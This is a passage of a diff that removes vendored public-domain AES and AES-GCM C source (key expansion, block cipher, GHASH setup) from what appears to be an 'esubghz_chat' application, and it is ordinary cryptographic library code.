FT1[i] = ROTL8(FT0[i]);
|
|
||||||
FT2[i] = ROTL8(FT1[i]);
|
|
||||||
FT3[i] = ROTL8(FT2[i]);
|
|
||||||
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
x = RSb[i];
|
|
||||||
|
|
||||||
RT0[i] = ((uint32_t)MUL(0x0E, x)) ^ ((uint32_t)MUL(0x09, x) << 8) ^
|
|
||||||
((uint32_t)MUL(0x0D, x) << 16) ^ ((uint32_t)MUL(0x0B, x) << 24);
|
|
||||||
|
|
||||||
RT1[i] = ROTL8(RT0[i]);
|
|
||||||
RT2[i] = ROTL8(RT1[i]);
|
|
||||||
RT3[i] = ROTL8(RT2[i]);
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
}
|
|
||||||
aes_tables_inited = 1; // flag that the tables have been generated
|
|
||||||
} // to permit subsequent use of the AES cipher
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* AES_SET_ENCRYPTION_KEY
|
|
||||||
*
|
|
||||||
* This is called by 'aes_setkey' when we're establishing a key for
|
|
||||||
* subsequent encryption. We give it a pointer to the encryption
|
|
||||||
* context, a pointer to the key, and the key's length in bytes.
|
|
||||||
* Valid lengths are: 16, 24 or 32 bytes (128, 192, 256 bits).
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_set_encryption_key(aes_context* ctx, const uchar* key, uint keysize) {
|
|
||||||
uint i; // general purpose iteration local
|
|
||||||
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
|
|
||||||
|
|
||||||
for(i = 0; i < (keysize >> 2); i++) {
|
|
||||||
GET_UINT32_LE(RK[i], key, i << 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
switch(ctx->rounds) {
|
|
||||||
case 10:
|
|
||||||
for(i = 0; i < 10; i++, RK += 4) {
|
|
||||||
RK[4] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[3] >> 8) & 0xFF]) ^
|
|
||||||
((uint32_t)FSb[(RK[3] >> 16) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(RK[3] >> 24) & 0xFF] << 16) ^
|
|
||||||
((uint32_t)FSb[(RK[3]) & 0xFF] << 24);
|
|
||||||
|
|
||||||
RK[5] = RK[1] ^ RK[4];
|
|
||||||
RK[6] = RK[2] ^ RK[5];
|
|
||||||
RK[7] = RK[3] ^ RK[6];
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 12:
|
|
||||||
for(i = 0; i < 8; i++, RK += 6) {
|
|
||||||
RK[6] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[5] >> 8) & 0xFF]) ^
|
|
||||||
((uint32_t)FSb[(RK[5] >> 16) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(RK[5] >> 24) & 0xFF] << 16) ^
|
|
||||||
((uint32_t)FSb[(RK[5]) & 0xFF] << 24);
|
|
||||||
|
|
||||||
RK[7] = RK[1] ^ RK[6];
|
|
||||||
RK[8] = RK[2] ^ RK[7];
|
|
||||||
RK[9] = RK[3] ^ RK[8];
|
|
||||||
RK[10] = RK[4] ^ RK[9];
|
|
||||||
RK[11] = RK[5] ^ RK[10];
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 14:
|
|
||||||
for(i = 0; i < 7; i++, RK += 8) {
|
|
||||||
RK[8] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[7] >> 8) & 0xFF]) ^
|
|
||||||
((uint32_t)FSb[(RK[7] >> 16) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(RK[7] >> 24) & 0xFF] << 16) ^
|
|
||||||
((uint32_t)FSb[(RK[7]) & 0xFF] << 24);
|
|
||||||
|
|
||||||
RK[9] = RK[1] ^ RK[8];
|
|
||||||
RK[10] = RK[2] ^ RK[9];
|
|
||||||
RK[11] = RK[3] ^ RK[10];
|
|
||||||
|
|
||||||
RK[12] = RK[4] ^ ((uint32_t)FSb[(RK[11]) & 0xFF]) ^
|
|
||||||
((uint32_t)FSb[(RK[11] >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(RK[11] >> 16) & 0xFF] << 16) ^
|
|
||||||
((uint32_t)FSb[(RK[11] >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
RK[13] = RK[5] ^ RK[12];
|
|
||||||
RK[14] = RK[6] ^ RK[13];
|
|
||||||
RK[15] = RK[7] ^ RK[14];
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* AES_SET_DECRYPTION_KEY
|
|
||||||
*
|
|
||||||
* This is called by 'aes_setkey' when we're establishing a
|
|
||||||
* key for subsequent decryption. We give it a pointer to
|
|
||||||
* the encryption context, a pointer to the key, and the key's
|
|
||||||
* length in bits. Valid lengths are: 128, 192, or 256 bits.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_set_decryption_key(aes_context* ctx, const uchar* key, uint keysize) {
|
|
||||||
int i, j;
|
|
||||||
aes_context cty; // a calling aes context for set_encryption_key
|
|
||||||
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
|
|
||||||
uint32_t* SK;
|
|
||||||
int ret;
|
|
||||||
|
|
||||||
cty.rounds = ctx->rounds; // initialize our local aes context
|
|
||||||
cty.rk = cty.buf; // round count and key buf pointer
|
|
||||||
|
|
||||||
if((ret = aes_set_encryption_key(&cty, key, keysize)) != 0) return (ret);
|
|
||||||
|
|
||||||
SK = cty.rk + cty.rounds * 4;
|
|
||||||
|
|
||||||
CPY128 // copy a 128-bit block from *SK to *RK
|
|
||||||
|
|
||||||
for(i = ctx->rounds - 1, SK -= 8; i > 0; i--, SK -= 8) {
|
|
||||||
for(j = 0; j < 4; j++, SK++) {
|
|
||||||
*RK++ = RT0[FSb[(*SK) & 0xFF]] ^ RT1[FSb[(*SK >> 8) & 0xFF]] ^
|
|
||||||
RT2[FSb[(*SK >> 16) & 0xFF]] ^ RT3[FSb[(*SK >> 24) & 0xFF]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
CPY128 // copy a 128-bit block from *SK to *RK
|
|
||||||
memset(&cty, 0, sizeof(aes_context)); // clear local aes context
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* AES_SETKEY
|
|
||||||
*
|
|
||||||
* Invoked to establish the key schedule for subsequent encryption/decryption
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_setkey(
|
|
||||||
aes_context* ctx, // AES context provided by our caller
|
|
||||||
int mode, // ENCRYPT or DECRYPT flag
|
|
||||||
const uchar* key, // pointer to the key
|
|
||||||
uint keysize) // key length in bytes
|
|
||||||
{
|
|
||||||
// since table initialization is not thread safe, we could either add
|
|
||||||
// system-specific mutexes and init the AES key generation tables on
|
|
||||||
// demand, or ask the developer to simply call "gcm_initialize" once during
|
|
||||||
// application startup before threading begins. That's what we choose.
|
|
||||||
if(!aes_tables_inited) return (-1); // fail the call when not inited.
|
|
||||||
|
|
||||||
ctx->mode = mode; // capture the key type we're creating
|
|
||||||
ctx->rk = ctx->buf; // initialize our round key pointer
|
|
||||||
|
|
||||||
switch(keysize) // set the rounds count based upon the keysize
|
|
||||||
{
|
|
||||||
case 16:
|
|
||||||
ctx->rounds = 10;
|
|
||||||
break; // 16-byte, 128-bit key
|
|
||||||
case 24:
|
|
||||||
ctx->rounds = 12;
|
|
||||||
break; // 24-byte, 192-bit key
|
|
||||||
case 32:
|
|
||||||
ctx->rounds = 14;
|
|
||||||
break; // 32-byte, 256-bit key
|
|
||||||
default:
|
|
||||||
return (-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if AES_DECRYPTION
|
|
||||||
if(mode == DECRYPT) // expand our key for encryption or decryption
|
|
||||||
return (aes_set_decryption_key(ctx, key, keysize));
|
|
||||||
else /* ENCRYPT */
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
return (aes_set_encryption_key(ctx, key, keysize));
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* AES_CIPHER
|
|
||||||
*
|
|
||||||
* Perform AES encryption and decryption.
|
|
||||||
* The AES context will have been setup with the encryption mode
|
|
||||||
* and all keying information appropriate for the task.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_cipher(aes_context* ctx, const uchar input[16], uchar output[16]) {
|
|
||||||
int i;
|
|
||||||
uint32_t *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; // general purpose locals
|
|
||||||
|
|
||||||
RK = ctx->rk;
|
|
||||||
|
|
||||||
GET_UINT32_LE(X0, input, 0);
|
|
||||||
X0 ^= *RK++; // load our 128-bit
|
|
||||||
GET_UINT32_LE(X1, input, 4);
|
|
||||||
X1 ^= *RK++; // input buffer in a storage
|
|
||||||
GET_UINT32_LE(X2, input, 8);
|
|
||||||
X2 ^= *RK++; // memory endian-neutral way
|
|
||||||
GET_UINT32_LE(X3, input, 12);
|
|
||||||
X3 ^= *RK++;
|
|
||||||
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
|
|
||||||
if(ctx->mode == DECRYPT) {
|
|
||||||
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
|
|
||||||
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
|
||||||
AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
|
|
||||||
}
|
|
||||||
|
|
||||||
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
|
||||||
|
|
||||||
X0 = *RK++ ^ ((uint32_t)RSb[(Y0)&0xFF]) ^ ((uint32_t)RSb[(Y3 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)RSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y1 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X1 = *RK++ ^ ((uint32_t)RSb[(Y1)&0xFF]) ^ ((uint32_t)RSb[(Y0 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)RSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y2 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X2 = *RK++ ^ ((uint32_t)RSb[(Y2)&0xFF]) ^ ((uint32_t)RSb[(Y1 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)RSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y3 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X3 = *RK++ ^ ((uint32_t)RSb[(Y3)&0xFF]) ^ ((uint32_t)RSb[(Y2 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)RSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y0 >> 24) & 0xFF] << 24);
|
|
||||||
} else /* ENCRYPT */
|
|
||||||
{
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
|
|
||||||
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
|
|
||||||
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
|
||||||
AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
|
|
||||||
}
|
|
||||||
|
|
||||||
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
|
||||||
|
|
||||||
X0 = *RK++ ^ ((uint32_t)FSb[(Y0)&0xFF]) ^ ((uint32_t)FSb[(Y1 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y3 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X1 = *RK++ ^ ((uint32_t)FSb[(Y1)&0xFF]) ^ ((uint32_t)FSb[(Y2 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y0 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X2 = *RK++ ^ ((uint32_t)FSb[(Y2)&0xFF]) ^ ((uint32_t)FSb[(Y3 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y1 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
X3 = *RK++ ^ ((uint32_t)FSb[(Y3)&0xFF]) ^ ((uint32_t)FSb[(Y0 >> 8) & 0xFF] << 8) ^
|
|
||||||
((uint32_t)FSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y2 >> 24) & 0xFF] << 24);
|
|
||||||
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
}
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
|
|
||||||
PUT_UINT32_LE(X0, output, 0);
|
|
||||||
PUT_UINT32_LE(X1, output, 4);
|
|
||||||
PUT_UINT32_LE(X2, output, 8);
|
|
||||||
PUT_UINT32_LE(X3, output, 12);
|
|
||||||
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
/* end of aes.c */
|
|
||||||
80
applications/external/esubghz_chat/crypto/aes.h
vendored
@@ -1,80 +0,0 @@
|
|||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
|
||||||
*
|
|
||||||
* This is a simple and straightforward implementation of the AES Rijndael
|
|
||||||
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
|
|
||||||
* of this work was correctness & accuracy. It is written in 'C' without any
|
|
||||||
* particular focus upon optimization or speed. It should be endian (memory
|
|
||||||
* byte order) neutral since the few places that care are handled explicitly.
|
|
||||||
*
|
|
||||||
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
|
|
||||||
*
|
|
||||||
* It is intended for general purpose use, but was written in support of GRC's
|
|
||||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
|
||||||
*
|
|
||||||
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
|
|
||||||
*
|
|
||||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
|
||||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
|
||||||
*
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#ifndef AES_HEADER
|
|
||||||
#define AES_HEADER
|
|
||||||
|
|
||||||
/******************************************************************************/
|
|
||||||
#define AES_DECRYPTION 0 // whether AES decryption is supported
|
|
||||||
/******************************************************************************/
|
|
||||||
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#define ENCRYPT 1 // specify whether we're encrypting
|
|
||||||
#define DECRYPT 0 // or decrypting
|
|
||||||
|
|
||||||
#if defined(_MSC_VER)
|
|
||||||
#include <basetsd.h>
|
|
||||||
typedef UINT32 uint32_t;
|
|
||||||
#else
|
|
||||||
#include <inttypes.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
typedef unsigned char uchar; // add some convienent shorter types
|
|
||||||
typedef unsigned int uint;
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* AES_INIT_KEYGEN_TABLES : MUST be called once before any AES use
|
|
||||||
******************************************************************************/
|
|
||||||
void aes_init_keygen_tables(void);
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* AES_CONTEXT : cipher context / holds inter-call data
|
|
||||||
******************************************************************************/
|
|
||||||
typedef struct {
|
|
||||||
int mode; // 1 for Encryption, 0 for Decryption
|
|
||||||
int rounds; // keysize-based rounds count
|
|
||||||
uint32_t* rk; // pointer to current round key
|
|
||||||
uint32_t buf[68]; // key expansion buffer
|
|
||||||
} aes_context;
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* AES_SETKEY : called to expand the key for encryption or decryption
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_setkey(
|
|
||||||
aes_context* ctx, // pointer to context
|
|
||||||
int mode, // 1 or 0 for Encrypt/Decrypt
|
|
||||||
const uchar* key, // AES input key
|
|
||||||
uint keysize); // size in bytes (must be 16, 24, 32 for
|
|
||||||
// 128, 192 or 256-bit keys respectively)
|
|
||||||
// returns 0 for success
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* AES_CIPHER : called to encrypt or decrypt ONE 128-bit block of data
|
|
||||||
******************************************************************************/
|
|
||||||
int aes_cipher(
|
|
||||||
aes_context* ctx, // pointer to context
|
|
||||||
const uchar input[16], // 128-bit block to en/decipher
|
|
||||||
uchar output[16]); // 128-bit output result block
|
|
||||||
// returns 0 for success
|
|
||||||
|
|
||||||
#endif /* AES_HEADER */
|
|
||||||
516
applications/external/esubghz_chat/crypto/gcm.c
vendored
@@ -1,516 +0,0 @@
|
|||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
|
||||||
*
|
|
||||||
* This is a simple and straightforward implementation of AES-GCM authenticated
|
|
||||||
* encryption. The focus of this work was correctness & accuracy. It is written
|
|
||||||
* in straight 'C' without any particular focus upon optimization or speed. It
|
|
||||||
* should be endian (memory byte order) neutral since the few places that care
|
|
||||||
* are handled explicitly.
|
|
||||||
*
|
|
||||||
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
|
|
||||||
*
|
|
||||||
* It is intended for general purpose use, but was written in support of GRC's
|
|
||||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
|
||||||
*
|
|
||||||
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
|
|
||||||
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/
|
|
||||||
* gcm/gcm-revised-spec.pdf
|
|
||||||
*
|
|
||||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
|
||||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
|
||||||
*
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "gcm.h"
|
|
||||||
#include "aes.h"
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* ==== IMPLEMENTATION WARNING ====
|
|
||||||
*
|
|
||||||
* This code was developed for use within SQRL's fixed environmnent. Thus, it
|
|
||||||
* is somewhat less "general purpose" than it would be if it were designed as
|
|
||||||
* a general purpose AES-GCM library. Specifically, it bothers with almost NO
|
|
||||||
* error checking on parameter limits, buffer bounds, etc. It assumes that it
|
|
||||||
* is being invoked by its author or by someone who understands the values it
|
|
||||||
* expects to receive. Its behavior will be undefined otherwise.
|
|
||||||
*
|
|
||||||
* All functions that might fail are defined to return 'ints' to indicate a
|
|
||||||
* problem. Most do not do so now. But this allows for error propagation out
|
|
||||||
* of internal functions if robust error checking should ever be desired.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
|
|
||||||
/* Calculating the "GHASH"
|
|
||||||
*
|
|
||||||
* There are many ways of calculating the so-called GHASH in software, each with
|
|
||||||
* a traditional size vs performance tradeoff. The GHASH (Galois field hash) is
|
|
||||||
* an intriguing construction which takes two 128-bit strings (also the cipher's
|
|
||||||
* block size and the fundamental operation size for the system) and hashes them
|
|
||||||
* into a third 128-bit result.
|
|
||||||
*
|
|
||||||
* Many implementation solutions have been worked out that use large precomputed
|
|
||||||
* table lookups in place of more time consuming bit fiddling, and this approach
|
|
||||||
* can be scaled easily upward or downward as needed to change the time/space
|
|
||||||
* tradeoff. It's been studied extensively and there's a solid body of theory and
|
|
||||||
* practice. For example, without using any lookup tables an implementation
|
|
||||||
* might obtain 119 cycles per byte throughput, whereas using a simple, though
|
|
||||||
* large, key-specific 64 kbyte 8-bit lookup table the performance jumps to 13
|
|
||||||
* cycles per byte.
|
|
||||||
*
|
|
||||||
* And Intel's processors have, since 2010, included an instruction which does
|
|
||||||
* the entire 128x128->128 bit job in just several 64x64->128 bit pieces.
|
|
||||||
*
|
|
||||||
* Since SQRL is interactive, and only processing a few 128-bit blocks, I've
|
|
||||||
* settled upon a relatively slower but appealing small-table compromise which
|
|
||||||
* folds a bunch of not only time consuming but also bit twiddling into a simple
|
|
||||||
* 16-entry table which is attributed to Victor Shoup's 1996 work while at
|
|
||||||
* Bellcore: "On Fast and Provably Secure MessageAuthentication Based on
|
|
||||||
* Universal Hashing." See: http://www.shoup.net/papers/macs.pdf
|
|
||||||
* See, also section 4.1 of the "gcm-revised-spec" cited above.
|
|
||||||
*/
|
|
||||||
|
|
||||||
/*
|
|
||||||
* This 16-entry table of pre-computed constants is used by the
|
|
||||||
* GHASH multiplier to improve over a strictly table-free but
|
|
||||||
* significantly slower 128x128 bit multiple within GF(2^128).
|
|
||||||
*/
|
|
||||||
static const uint64_t last4[16] = {
|
|
||||||
0x0000,
|
|
||||||
0x1c20,
|
|
||||||
0x3840,
|
|
||||||
0x2460,
|
|
||||||
0x7080,
|
|
||||||
0x6ca0,
|
|
||||||
0x48c0,
|
|
||||||
0x54e0,
|
|
||||||
0xe100,
|
|
||||||
0xfd20,
|
|
||||||
0xd940,
|
|
||||||
0xc560,
|
|
||||||
0x9180,
|
|
||||||
0x8da0,
|
|
||||||
0xa9c0,
|
|
||||||
0xb5e0};
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Platform Endianness Neutralizing Load and Store Macro definitions
|
|
||||||
* GCM wants platform-neutral Big Endian (BE) byte ordering
|
|
||||||
*/
|
|
||||||
#define GET_UINT32_BE(n, b, i) \
|
|
||||||
{ \
|
|
||||||
(n) = ((uint32_t)(b)[(i)] << 24) | ((uint32_t)(b)[(i) + 1] << 16) | \
|
|
||||||
((uint32_t)(b)[(i) + 2] << 8) | ((uint32_t)(b)[(i) + 3]); \
|
|
||||||
}
|
|
||||||
|
|
||||||
#define PUT_UINT32_BE(n, b, i) \
|
|
||||||
{ \
|
|
||||||
(b)[(i)] = (uchar)((n) >> 24); \
|
|
||||||
(b)[(i) + 1] = (uchar)((n) >> 16); \
|
|
||||||
(b)[(i) + 2] = (uchar)((n) >> 8); \
|
|
||||||
(b)[(i) + 3] = (uchar)((n)); \
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_INITIALIZE
|
|
||||||
*
|
|
||||||
* Must be called once to initialize the GCM library.
|
|
||||||
*
|
|
||||||
* At present, this only calls the AES keygen table generator, which expands
|
|
||||||
* the AES keying tables for use. This is NOT A THREAD-SAFE function, so it
|
|
||||||
* MUST be called during system initialization before a multi-threading
|
|
||||||
* environment is running.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_initialize(void) {
|
|
||||||
aes_init_keygen_tables();
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_MULT
|
|
||||||
*
|
|
||||||
* Performs a GHASH operation on the 128-bit input vector 'x', setting
|
|
||||||
* the 128-bit output vector to 'x' times H using our precomputed tables.
|
|
||||||
* 'x' and 'output' are seen as elements of GCM's GF(2^128) Galois field.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
static void gcm_mult(
|
|
||||||
gcm_context* ctx, // pointer to established context
|
|
||||||
const uchar x[16], // pointer to 128-bit input vector
|
|
||||||
uchar output[16]) // pointer to 128-bit output vector
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
uchar lo, hi, rem;
|
|
||||||
uint64_t zh, zl;
|
|
||||||
|
|
||||||
lo = (uchar)(x[15] & 0x0f);
|
|
||||||
hi = (uchar)(x[15] >> 4);
|
|
||||||
zh = ctx->HH[lo];
|
|
||||||
zl = ctx->HL[lo];
|
|
||||||
|
|
||||||
for(i = 15; i >= 0; i--) {
|
|
||||||
lo = (uchar)(x[i] & 0x0f);
|
|
||||||
hi = (uchar)(x[i] >> 4);
|
|
||||||
|
|
||||||
if(i != 15) {
|
|
||||||
rem = (uchar)(zl & 0x0f);
|
|
||||||
zl = (zh << 60) | (zl >> 4);
|
|
||||||
zh = (zh >> 4);
|
|
||||||
zh ^= (uint64_t)last4[rem] << 48;
|
|
||||||
zh ^= ctx->HH[lo];
|
|
||||||
zl ^= ctx->HL[lo];
|
|
||||||
}
|
|
||||||
rem = (uchar)(zl & 0x0f);
|
|
||||||
zl = (zh << 60) | (zl >> 4);
|
|
||||||
zh = (zh >> 4);
|
|
||||||
zh ^= (uint64_t)last4[rem] << 48;
|
|
||||||
zh ^= ctx->HH[hi];
|
|
||||||
zl ^= ctx->HL[hi];
|
|
||||||
}
|
|
||||||
PUT_UINT32_BE(zh >> 32, output, 0);
|
|
||||||
PUT_UINT32_BE(zh, output, 4);
|
|
||||||
PUT_UINT32_BE(zl >> 32, output, 8);
|
|
||||||
PUT_UINT32_BE(zl, output, 12);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_SETKEY
|
|
||||||
*
|
|
||||||
* This is called to set the AES-GCM key. It initializes the AES key
|
|
||||||
* and populates the gcm context's pre-calculated HTables.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_setkey(
|
|
||||||
gcm_context* ctx, // pointer to caller-provided gcm context
|
|
||||||
const uchar* key, // pointer to the AES encryption key
|
|
||||||
const uint keysize) // size in bytes (must be 16, 24, 32 for
|
|
||||||
// 128, 192 or 256-bit keys respectively)
|
|
||||||
{
|
|
||||||
int ret, i, j;
|
|
||||||
uint64_t hi, lo;
|
|
||||||
uint64_t vl, vh;
|
|
||||||
unsigned char h[16];
|
|
||||||
|
|
||||||
memset(ctx, 0, sizeof(gcm_context)); // zero caller-provided GCM context
|
|
||||||
memset(h, 0, 16); // initialize the block to encrypt
|
|
||||||
|
|
||||||
// encrypt the null 128-bit block to generate a key-based value
|
|
||||||
// which is then used to initialize our GHASH lookup tables
|
|
||||||
if((ret = aes_setkey(&ctx->aes_ctx, ENCRYPT, key, keysize)) != 0) return (ret);
|
|
||||||
if((ret = aes_cipher(&ctx->aes_ctx, h, h)) != 0) return (ret);
|
|
||||||
|
|
||||||
GET_UINT32_BE(hi, h, 0); // pack h as two 64-bit ints, big-endian
|
|
||||||
GET_UINT32_BE(lo, h, 4);
|
|
||||||
vh = (uint64_t)hi << 32 | lo;
|
|
||||||
|
|
||||||
GET_UINT32_BE(hi, h, 8);
|
|
||||||
GET_UINT32_BE(lo, h, 12);
|
|
||||||
vl = (uint64_t)hi << 32 | lo;
|
|
||||||
|
|
||||||
ctx->HL[8] = vl; // 8 = 1000 corresponds to 1 in GF(2^128)
|
|
||||||
ctx->HH[8] = vh;
|
|
||||||
ctx->HH[0] = 0; // 0 corresponds to 0 in GF(2^128)
|
|
||||||
ctx->HL[0] = 0;
|
|
||||||
|
|
||||||
for(i = 4; i > 0; i >>= 1) {
|
|
||||||
uint32_t T = (uint32_t)(vl & 1) * 0xe1000000U;
|
|
||||||
vl = (vh << 63) | (vl >> 1);
|
|
||||||
vh = (vh >> 1) ^ ((uint64_t)T << 32);
|
|
||||||
ctx->HL[i] = vl;
|
|
||||||
ctx->HH[i] = vh;
|
|
||||||
}
|
|
||||||
for(i = 2; i < 16; i <<= 1) {
|
|
||||||
uint64_t *HiL = ctx->HL + i, *HiH = ctx->HH + i;
|
|
||||||
vh = *HiH;
|
|
||||||
vl = *HiL;
|
|
||||||
for(j = 1; j < i; j++) {
|
|
||||||
HiH[j] = vh ^ ctx->HH[j];
|
|
||||||
HiL[j] = vl ^ ctx->HL[j];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM processing occurs four phases: SETKEY, START, UPDATE and FINISH.
|
|
||||||
*
|
|
||||||
* SETKEY:
|
|
||||||
*
|
|
||||||
* START: Sets the Encryption/Decryption mode.
|
|
||||||
* Accepts the initialization vector and additional data.
|
|
||||||
*
|
|
||||||
* UPDATE: Encrypts or decrypts the plaintext or ciphertext.
|
|
||||||
*
|
|
||||||
* FINISH: Performs a final GHASH to generate the authentication tag.
|
|
||||||
*
|
|
||||||
******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_START
|
|
||||||
*
|
|
||||||
* Given a user-provided GCM context, this initializes it, sets the encryption
|
|
||||||
* mode, and preprocesses the initialization vector and additional AEAD data.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_start(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
int mode, // GCM_ENCRYPT or GCM_DECRYPT
|
|
||||||
const uchar* iv, // pointer to initialization vector
|
|
||||||
size_t iv_len, // IV length in bytes (should == 12)
|
|
||||||
const uchar* add, // ptr to additional AEAD data (NULL if none)
|
|
||||||
size_t add_len) // length of additional AEAD data (bytes)
|
|
||||||
{
|
|
||||||
int ret; // our error return if the AES encrypt fails
|
|
||||||
